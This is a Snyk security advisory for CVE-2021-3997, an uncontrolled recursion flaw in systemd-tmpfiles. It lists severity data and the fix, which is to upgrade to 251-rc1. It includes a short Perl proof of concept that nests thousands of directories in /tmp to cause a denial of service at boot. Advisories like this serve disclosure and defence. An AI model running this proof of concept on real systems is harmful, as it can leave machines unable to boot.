Uncontrolled Recursion Affecting systemd/systemd package, versions [,251-rc1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (26th percentile)

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  • Snyk IDSNYK-UNMANAGED-SYSTEMDSYSTEMD-2990192
  • published24 Aug 2022
  • disclosed24 Aug 2022
  • creditQualys Research Labs

Introduced: 24 Aug 2022

CVE-2021-3997  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade systemd/systemd to version 251-rc1 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the systemd-tmpfiles component, leading to a denial of service at boot time when too many nested directories are created in /tmp.

PoC:

$ cd /tmp
$ perl -e 'use strict;
for (my $i = 0; $i < (1<<15); $i++) {
mkdir "A", 0700 or die;
chdir "A" or die; }'```

CVSS Scores

version 3.1